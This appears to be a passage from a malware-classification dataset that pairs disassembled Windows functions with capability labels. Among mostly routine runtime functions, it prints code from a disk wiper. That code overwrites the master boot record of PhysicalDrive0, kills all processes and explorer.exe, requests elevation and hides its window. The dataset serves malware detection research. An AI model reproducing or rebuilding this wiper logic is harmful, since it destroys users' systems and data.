joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001a559
Capabilities:
Write file on windows

Disassembly:
jmp 0x14003c450
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1e8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x3e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x208]
mov rax, qword [0x140063048]
xor rax, rbp
mov qword [rbp + 0x1a8], rax
lea rcx, [0x140070525]
call fcn.14001a5b3
mov rax, qword [rbp + 0x1d0]
cmp qword [rax + 0x68], 0
je 0x14003c4b6
mov rax, qword [rbp + 0x1d0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x14003c4bd
mov al, 1
jmp 0x14003c62f
mov rax, qword [rbp + 0x1d0]
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x198], rax
call fcn.14001960e
mov dword [rbp + 0x1a0], eax
mov edx, dword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1d0]
call qword [rbp + 0x198]
mov dword [rbp + 0x164], eax
call fcn.14001960e
mov dword [rbp + 0x184], eax
lea rdx, [rbp + 0x164]
lea rcx, [rbp + 0x184]
call fcn.14001a216
movzx eax, al
test eax, eax
je 0x14003c522
xor al, al
jmp 0x14003c62f
mov qword [rbp + 8], 0x20
mov rax, qword [rbp + 0x1d0]
mov rax, qword [rax + 0x68]
mov qword [rbp + 0x198], rax
lea rax, [rbp + 0x48]
mov rcx, qword [rbp + 0x1d0]
add rcx, 0x74
lea rdx, [rbp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rbp + 0x28]
mov rdx, rcx
mov rcx, qword [rbp + 0x198]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rbp + 0x1a0], eax
cmp dword [rbp + 0x1a0], 0
je 0x14003c595
cmp dword [rbp + 0x1a0], 1
je 0x14003c5a0
cmp dword [rbp + 0x1a0], 3
je 0x14003c61e
jmp 0x14003c62d
mov rax, qword [rbp + 0x1d0]
mov byte [rax + 0x71], 0
lea rax, [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jbe 0x14003c5f0
mov rax, qword [rbp + 0x1d0]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x88]
mov edx, 1
lea rcx, [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_fwrite]
cmp qword [rbp + 0x88], rax
je 0x14003c5f0
xor al, al
jmp 0x14003c62f
mov rax, qword [rbp + 0x1d0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x14003c60b
mov dword [rbp + 0x194], 1
jmp 0x14003c615
mov dword [rbp + 0x194], 0
movzx eax, byte [rbp + 0x194]
jmp 0x14003c62f
mov rax, qword [rbp + 0x1d0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x14003c62f
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140057840]
call fcn.14001a1f3
mov rax, rdi
mov rcx, qword [rbp + 0x1a8]
xor rcx, rbp
call fcn.140019a8c
lea rsp, [rbp + 0x1b8]
pop rdi
pop rbp
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x0048f1f0]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x0048f200]
mov dword [rax], 1
mov rax, qword [0x0048f210]
mov dword [rax], 1
mov rax, qword [0x0048f1e0]
mov dword [rax], 1
mov rax, qword [0x0048f060]
cmp word [rax], 0x5a4d
je 0x4010d0
mov rax, qword [0x0048f1d0]
mov dword [0x004aa008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010c2
mov ecx, 2
call sym.__set_app_type
mov rcx, 0xffffffffffffffff
call dbg._encode_pointer
mov rdx, qword [0x0048f110]
mov qword [rdx], rax
mov rdx, qword [0x0048f100]
mov qword [rdx], rax
mov rax, qword [0x0048f190]
mov edx, dword [rax]
mov rax, qword [sym.imp.msvcrt.dll__fmode]
mov rax, qword [rax]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x0048e760]
cmp dword [rax], 1
je 0x401120
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401133
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058

Function at 0x401530
Capabilities:
Create process on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xa0
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov dword [rbp + 0x20], r8d
mov eax, 0x70
mov dword [rbp - 0x80], eax
mov dword [rbp - 0x7c], 0x40
mov qword [rbp - 0x78], 0
lea rax, str.runas
mov qword [rbp - 0x70], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x68], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], 0
mov eax, dword [rbp + 0x20]
mov dword [rbp - 0x50], eax
mov qword [rbp - 0x48], 0
lea rax, [rbp - 0x80]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteExA]
call rax
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0xa0
pop rbp
ret

Function at 0x4015bc
Capabilities:
Manipulate console buffer

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov dword [rbp + 0x10], ecx
mov dword [rbp + 0x18], edx
mov eax, dword [rbp + 0x18]
mov word [rbp - 0x10], ax
mov eax, dword [rbp + 0x10]
mov word [rbp - 0xe], ax
mov ecx, 0xfffffff5
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
call rax
mov qword [rbp - 8], rax
mov edx, dword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
call rax
nop
add rsp, 0x30
pop rbp
ret
Function at 0x401604
Capabilities:
Write file on windows

Disassembly:
push rbp
sub rsp, 0x2a0
lea rbp, [rsp + 0x80]
lea rax, str..PhysicalDrive0
mov qword [rbp + 0x218], rax
movabs rax, 0x756f79206b637546
mov qword [rbp - 0x40], rax
movabs rax, 0x726120756f592021
mov qword [rbp - 0x38], rax
movabs rax, 0x202e625320612065
mov qword [rbp - 0x30], rax
movabs rax, 0x52424d2072756f59
mov qword [rbp - 0x28], rax
movabs rax, 0x7361727420736920
mov qword [rbp - 0x20], rax
movabs rax, 0x6d20796220646568
mov qword [rbp - 0x18], rax
mov word [rbp - 0x10], 0x2165
mov byte [rbp - 0xe], 0
mov dword [rbp + 0x20c], 0
mov dword [rbp + 0x208], 0
mov qword [rbp + 0x210], 0
mov ecx, 0x32
lea rdx, [rbp - 0x40]
mov rax, rbp
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov rax, qword [rbp + 0x218]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 3
mov edx, 0xc0000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x210], rax
mov r8d, 0x200
lea rcx, [rbp + 0x208]
mov rdx, rbp
mov rax, qword [rbp + 0x210]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov rax, qword [rbp + 0x210]
mov qword [rsp + 0x38], 0
lea rdx, [rbp + 0x20c]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0x9001c
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeviceIoControl]
call rax
mov rax, qword [rbp + 0x210]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x2a0
pop rbp
ret

Function at 0x401790
Capabilities:
Execute command

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x80]
mov dword [rbp - 0x30], ecx
cmp dword [rbp - 0x30], 2
jne 0x401838
movzx eax, byte [0x004aa030]
xor eax, 1
test al, al
je 0x401838
call dbg.MBR()
lea rax, [rbp - 0x51]
mov rcx, rax
call fcn.00447580
lea rdx, [rbp - 0x51]
lea rax, [rbp - 0x60]
mov r8, rdx
lea rdx, str.taskkill__f__fi__pid_ne_1
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp - 0x51]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp - 0x60]
mov edx, 0x10
mov rcx, rax
call method.std::string.operator___unsigned_long_long_
mov byte [rax], 0x22
lea rax, [rbp - 0x60]
mov edx, 0x19
mov rcx, rax
call method.std::string.operator___unsigned_long_long_
mov byte [rax], 0x22
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::string.c_str___const
mov rcx, rax
call sym.system
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.00450c10
jmp 0x40186e
add rsp, 0x38
pop rbx
pop rbp
ret
Function at 0x40195a
Capabilities:
Execute command

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x55]
mov rcx, rax
call fcn.00447580
lea rdx, [rbp - 0x55]
lea rax, [rbp - 0x60]
mov r8, rdx
lea rdx, [0x0048a038]
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp - 0x55]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov dword [rbp - 0x54], 0
jmp 0x4019db
mov eax, dword [rbp - 0x54]
movsxd rdx, eax
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::string.operator___unsigned_long_long_
movzx eax, byte [rax]
movsx eax, al
mov edx, eax
lea rcx, [0x0048a145]
call dbg.printf(char const*, ::)
mov ecx, 0x14
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
add dword [rbp - 0x54], 1
mov eax, dword [rbp - 0x54]
movsxd rbx, eax
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::string.length___const
cmp rbx, rax
setb al
test al, al
jne 0x4019a3
lea rcx, [0x0048a148]
call dbg.printf(char const*, ::)
lea rcx, str.pause
call sym.system
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.00450c10
jmp 0x401a52
add rsp, 0x38
pop rbx
pop rbp
ret

Function at 0x401a59
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov byte [0x004aa03c], 0
mov dword [rbp - 4], 0x78
jmp 0x401b36
mov eax, dword [0x004aa044]
test eax, eax
je 0x401a90
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitThread]
call rax
lea rcx, [0x0048a151]
call sym.system
mov edx, dword [0x004aa04c]
mov eax, dword [0x004aa048]
mov ecx, eax
call dbg.GotoXY(int, int)
lea rcx, [0x0048a155]
call dbg.printf(char const*, ::)
jmp 0x401acb
mov ecx, 0xa
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov eax, dword [0x004aa05c]
test eax, eax
jne 0x401abd
mov dword [0x004aa05c], 1
mov edx, 1
mov ecx, 0
call dbg.GotoXY(int, int)
lea rcx, [0x0048a157]
call dbg.printf(char const*, ::)
mov edx, 1
mov ecx, 0
call dbg.GotoXY(int, int)
mov eax, dword [rbp - 4]
mov edx, eax
lea rcx, str._d_sec.
call dbg.printf(char const*, ::)
mov dword [0x004aa05c], 0
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
sub dword [rbp - 4], 1
cmp dword [rbp - 4], 0
jg 0x401a78
mov byte [0x004aa03c], 1
add rsp, 0x30
pop rbp
ret
Function at 0x402368
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
lea rcx, [0x0048a151]
call sym.system
lea rcx, [0x0048a378]
call dbg.printf(char const*, ::)
mov dword [0x004aa058], 1
mov dword [0x004aa060], 0x28
lea rcx, str.pause
call sym.system
lea rcx, [0x0048a151]
call sym.system
mov byte [0x004aa03c], 0
lea rax, [rbp - 0x10]
mov r9d, 0
lea r8, [dbg.CtDown(void*)]
mov edx, 0
mov rcx, rax
call sym.pthread_create
call sym.rand
mov edx, eax
mov eax, dword [0x004aa034]
lea ecx, [rax - 3]
mov eax, edx
cdq
idiv ecx
mov eax, edx
mov dword [0x004aa048], eax
call sym.rand
mov edx, eax
mov eax, dword [0x004aa038]
lea ecx, [rax - 5]
mov eax, edx
cdq
idiv ecx
mov eax, edx
add eax, 2
mov dword [0x004aa04c], eax
mov edx, dword [0x004aa04c]
mov eax, dword [0x004aa048]
mov ecx, eax
call dbg.GotoXY(int, int)
lea rcx, [0x0048a155]
call dbg.printf(char const*, ::)
mov edx, dword [0x004aa054]
mov eax, dword [0x004aa050]
mov ecx, eax
call dbg.GotoXY(int, int)
lea rcx, [0x0048a16e]
call dbg.printf(char const*, ::)
mov dword [Next.x], 1
mov dword [Next.y], 1
mov eax, dword [0x004aa050]
mov dword [rbp - 4], eax
mov eax, dword [0x004aa054]
mov dword [rbp - 8], eax
mov dword [0x004aa044], 0
lea rax, [rbp - 0x28]
mov r9d, 0
lea r8, [dbg.SetMyPos(void*)]
mov edx, 0
mov rcx, rax
call sym.pthread_create
lea rax, [rbp - 0x30]
mov r9d, 0
lea r8, [dbg.SetPCPos(void*)]
mov edx, 0
mov rcx, rax
call sym.pthread_create
lea rax, [rbp - 0x38]
mov r9d, 0
lea r8, [dbg.CtDown(void*)]
mov edx, 0
mov rcx, rax
call sym.pthread_create
mov edx, dword [0x004aa048]
mov eax, dword [0x004aa050]
cmp edx, eax
jne 0x40255c
mov edx, dword [0x004aa04c]
mov eax, dword [0x004aa054]
cmp edx, eax
jne 0x40255c
lea rcx, [0x0048a151]
call sym.system
mov dword [0x004aa05c], 1
mov eax, dword [0x004aa038]
mov edx, eax
shr edx, 0x1f
add eax, edx
sar eax, 1
lea edx, [rax - 0xc]
mov eax, dword [0x004aa034]
mov ecx, eax
shr ecx, 0x1f
add eax, ecx
sar eax, 1
mov ecx, eax
call dbg.GotoXY(int, int)
mov dword [0x004aa044], 1
lea rcx, [0x0048a412]
call dbg.printf(char const*, ::)
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x402571
movzx eax, byte [0x004aa03c]
test al, al
je 0x40256c
call dbg.over()
jmp 0x4024d8
add rsp, 0x60
pop rbp
ret
Function at 0x402577
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
lea rcx, [0x0048a151]
call sym.system
lea rcx, [0x0048a430]
call dbg.printf(char const*, ::)
mov dword [0x004aa058], 2
mov dword [0x004aa060], 0x23
lea rcx, str.pause
call sym.system
lea rcx, [0x0048a151]
call sym.system
mov byte [0x004aa03c], 0
lea rax, [rbp - 0x10]
mov r9d, 0
lea r8, [dbg.CtDown(void*)]
mov edx, 0
mov rcx, rax
call sym.pthread_create
call sym.rand
mov edx, eax
mov eax, dword [0x004aa034]
lea ecx, [rax - 3]
mov eax, edx
cdq
idiv ecx
mov eax, edx
mov dword [0x004aa048], eax
call sym.rand
mov edx, eax
mov eax, dword [0x004aa038]
lea ecx, [rax - 5]
mov eax, edx
cdq
idiv ecx
mov eax, edx
add eax, 2
mov dword [0x004aa04c], eax
mov edx, dword [0x004aa04c]
mov eax, dword [0x004aa048]
mov ecx, eax
call dbg.GotoXY(int, int)
lea rcx, [0x0048a155]
call dbg.printf(char const*, ::)
mov edx, dword [0x004aa054]
mov eax, dword [0x004aa050]
mov ecx, eax
call dbg.GotoXY(int, int)
lea rcx, [0x0048a16e]
call dbg.printf(char const*, ::)
mov dword [Next.x], 1
mov dword [Next.y], 1
mov eax, dword [0x004aa050]
mov dword [rbp - 4], eax
mov eax, dword [0x004aa054]
mov dword [rbp - 8], eax
mov dword [0x004aa044], 0
mov dword [0x004aa05c], 0
lea rax, [rbp - 0x28]
mov r9d, 0
lea r8, [dbg.SetMyPos(void*)]
mov edx, 0
mov rcx, rax
call sym.pthread_create
lea rax, [rbp - 0x30]
mov r9d, 0
lea r8, [dbg.SetPCPos(void*)]
mov edx, 0
mov rcx, rax
call sym.pthread_create
lea rax, [rbp - 0x38]
mov r9d, 0
lea r8, [dbg.CtDown(void*)]
mov edx, 0
mov rcx, rax
call sym.pthread_create
mov edx, dword [0x004aa048]
mov eax, dword [0x004aa050]
cmp edx, eax
jne 0x402775
mov edx, dword [0x004aa04c]
mov eax, dword [0x004aa054]
cmp edx, eax
jne 0x402775
lea rcx, [0x0048a151]
call sym.system
mov dword [0x004aa05c], 1
mov dword [0x004aa044], 1
mov eax, dword [0x004aa038]
mov edx, eax
shr edx, 0x1f
add eax, edx
sar eax, 1
lea edx, [rax - 0xc]
mov eax, dword [0x004aa034]
mov ecx, eax
shr ecx, 0x1f
add eax, ecx
sar eax, 1
mov ecx, eax
call dbg.GotoXY(int, int)
lea rcx, [0x0048a491]
call dbg.printf(char const*, ::)
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x40278a
movzx eax, byte [0x004aa03c]
test al, al
je 0x402785
call dbg.over()
jmp 0x4026f1
add rsp, 0x60
pop rbp
ret
Function at 0x402a63
Capabilities:
Execute command
Hide graphical window

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call dbg.__main
cmp dword [rbp + 0x10], 1
jne 0x402aba
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov rax, qword [rbp + 0x18]
mov rax, qword [rax]
mov r8d, 5
lea rdx, [0x0048a591]
mov rcx, rax
call dbg.ManagerRun(char const*, char const*, int)
mov eax, 1
jmp 0x402b1e
cmp dword [rbp + 0x10], 2
jne 0x402b19
mov ecx, 0
call sym.time
mov ecx, eax
call sym.srand
lea rax, [rbp - 0x50]
mov r9d, 0
lea r8, [dbg.Watch(void*)]
mov edx, 0
mov rcx, rax
call sym.pthread_create
call dbg.FullScreen()
call dbg.GetConsoleSize()
lea rcx, str.taskkill__f__im_explorer.exe
call sym.system
call dbg.ShowInfo()
call dbg.Part1()
call dbg.Part2()
call dbg.Part3()
mov eax, 0
add rsp, 0x70
pop rbp
ret

Function at 0x40f380
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
movsxd rbp, dword [0x004aa094]
mov rbx, rcx
mov rsi, rdx
mov rdi, r8
test ebp, ebp
jle 0x40f49a
mov rax, qword [0x004aa098]
xor r9d, r9d
add rax, 8
mov r10, qword [rax]
cmp rbx, r10
jb 0x40f3ce
mov rdx, qword [rax + 8]
mov r11d, dword [rdx + 8]
add r10, r11
cmp rbx, r10
jb 0x40f480
add r9d, 1
add rax, 0x18
cmp r9d, ebp
jne 0x40f3b2
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x40f4d2
lea rbp, [rbp + rbp*2]
shl rbp, 3
mov r13, rbp
add r13, qword [0x004aa098]
mov qword [r13 + 0x10], rax
mov dword [r13], 0
call dbg._GetPEImageBase
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
lea rdx, [rsp + 0x20]
mov qword [r13 + 8], rax
mov rax, qword [0x004aa098]
mov rcx, qword [rax + rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x40f4b5
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x40f479
sub eax, 0x40
and eax, 0xffffffbf
je 0x40f479
mov r9, rbp
add r9, qword [0x004aa098]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x40f4a1
add dword [0x004aa094], 1
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sym.memcpy
xor ebp, ebp
jmp 0x40f3db
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
mov rax, qword [0x004aa098]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbp + 8]
call dbg.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call dbg.__report_error
nop
nop word cs:[rax + rax]

Function at 0x4100b0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x4100c0
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0
Function at 0x4100d0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x410111
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x410108
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x410113
add rax, 0x28
cmp rax, r9
jne 0x4100f4
xor eax, eax
repz ret

Function at 0x4101c0
Capabilities:
Enumerate pe sections

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rbx, qword [0x0048f060]
cmp word [rbx], 0x5a4d
je 0x4101e0
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
mov rsi, rcx
mov rcx, rbx
call sym._ValidateImageBase.part.0
test eax, eax
je 0x4101d4
sub rsi, rbx
mov rcx, rbx
mov rdx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp dbg._FindPESection

Function at 0x410430
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x004aaa00]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004aa9e0]
test rbx, rbx
je 0x410484
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x41047b
test rsi, rsi
je 0x41047b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x410460
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [0x004aaa00]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp rax
Function at 0x410be0
Capabilities:
Check mutex on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x80]
mov rdi, rcx
movsxd r12, edx
mov r13, r8
call sym.strlen
mov rsi, rax
lea ebx, [rax + 0xf]
lea eax, [rax + 0x52]
cdqe
add rax, 0xf
and rax, 0xfffffffffffffff0
call fcn.00410da0
sub rsp, rax
movsxd r14, esi
movabs rax, 0x656d68732d636367
lea r15, [rsp + 0x20]
lea rcx, [rsp + 0x2f]
mov r8, r14
mov rdx, rdi
mov qword [rsp + 0x20], rax
mov eax, 0x326d
mov dword [rsp + 0x28], 0x64742d6d
mov word [rsp + 0x2c], ax
movsxd rbx, ebx
mov byte [rsp + 0x2e], 0x2d
call sym.memcpy
lea rax, [r15 + r14 + 0x10]
lea r14d, [rsi + 0x50]
movabs rdx, 0x6161616161616161
xor ecx, ecx
mov r8, r15
mov qword [rax], rdx
mov qword [rax + 8], rdx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], rdx
mov qword [rax + 0x20], rdx
mov qword [rax + 0x28], rdx
mov qword [rax + 0x30], rdx
mov qword [rax + 0x38], rdx
movsxd rax, r14d
xor edx, edx
mov byte [rsp + rax + 0x20], 0
mov byte [rsp + rbx + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov byte [rsp + rbx + 0x20], 0x2d
mov rdi, rax
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x410cc9
int3
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
jne 0x410d68
mov rcx, r12
call sym.malloc
lea r9d, [rsi + 0x10]
mov rbx, rax
mov r10d, 0x40
bt rbx, r10
jae 0x410d04
mov r11d, r14d
sub r11d, r10d
movsxd r11, r11d
mov byte [r15 + r11], 0x41
sub r10d, 1
jne 0x410cf0
mov dword [rbp - 0x54], r9d
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_AddAtomA]
test ax, ax
mov r9d, dword [rbp - 0x54]
je 0x410d65
lea r8d, [rsi + 0x51]
movzx ecx, ax
mov rdx, r15
call dbg.get_ptr_from_atom
cmp rax, rbx
mov rsi, rax
je 0x410d80
mov rcx, rbx
call sym.free
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rsi
lea rsp, [rbp - 0x48]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
lea r9d, [rsi + 0x10]
lea r8d, [rsi + 0x51]
movzx ecx, ax
mov rdx, r15
call dbg.get_ptr_from_atom
mov rsi, rax
jmp 0x410d3f
xor edx, edx
mov r8, r12
mov rcx, rbx
call sym.memset
test r13, r13
je 0x410d3f
mov rcx, rbx
call r13
jmp 0x410d3f
Function at 0x417200
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x60
mov rax, rcx
movzx ecx, word [rcx + 0xa]
and cx, 0x7fff
cmp cx, 0x7fff
je 0x417293
movzx ecx, word [rdx + 0xa]
and cx, 0x7fff
cmp cx, 0x7fff
je 0x4172c2
lea rsi, [rsp + 0x20]
lea rdi, [rsp + 0x40]
mov rcx, rax
mov rbx, rdx
mov rdx, rsi
call dbg.__emovi
mov rdx, rdi
mov rcx, rbx
call dbg.__emovi
movzx r8d, word [rsp + 0x20]
xor eax, eax
lea rcx, [rsi + 2]
cmp r8w, word [rsp + 0x40]
lea rdx, [rdi + 2]
je 0x4172e0
cmp word [rcx + rax], 0
jne 0x417320
cmp word [rdx + rax], 0
jne 0x417320
add rax, 2
cmp rax, 0xe
jne 0x417269
xor al, al
add rsp, 0x60
pop rbx
pop rsi
pop rdi
ret
lea r8, [rax + 0xa]
mov rcx, rax
add rcx, 2
cmp word [rcx - 2], 0
jne 0x417335
cmp rcx, r8
jne 0x41729a
movzx ecx, word [rdx + 0xa]
and cx, 0x7fff
cmp cx, 0x7fff
jne 0x41722e
lea r8, [rdx + 0xa]
mov rcx, rdx
add rcx, 2
cmp word [rcx - 2], 0
jne 0x417335
cmp rcx, r8
jne 0x4172c9
jmp 0x41722e
cmp r8w, 1
sbb eax, eax
xor ecx, ecx
add rsi, 2
and eax, 2
sub eax, 1
movzx edx, word [rsi + rcx]
add rcx, 2
movzx r8d, word [rdi + rcx]
cmp dx, r8w
jne 0x417342
cmp rcx, 0xe
jne 0x4172f3
xor eax, eax
add rsp, 0x60
pop rbx
pop rsi
pop rdi
ret
cmp r8w, 1
sbb eax, eax
and eax, 2
sub eax, 1
add rsp, 0x60
pop rbx
pop rsi
pop rdi
ret
mov eax, 0xfffffffe
add rsp, 0x60
pop rbx
pop rsi
pop rdi
ret
cmp r8w, dx
setae dl
movzx edx, dl
mov ecx, edx
neg ecx
xor eax, ecx
add eax, edx
jmp 0x41728b

Function at 0x41c010
Capabilities:
Allocate thread local storage

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, qword [0x004ab548]
test rbx, rbx
je 0x41c040
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [rbx], eax
mov rax, qword [0x004ab548]
test rax, rax
je 0x41c064
cmp dword [rax], 0xffffffff
je 0x41c085
add rsp, 0x20
pop rbx
ret
lea r8, [sym.__shmem_winpthreads_init__pthread_tls_shmem]
lea rcx, str._pthread_tls_shmem
mov edx, 4
call sym.__shmem_winpthreads_grab
mov rbx, rax
mov qword [0x004ab548], rax
jmp 0x41c021
lea r8, [sym.__shmem_winpthreads_init__pthread_tls_shmem]
lea rcx, str._pthread_tls_shmem
mov edx, 4
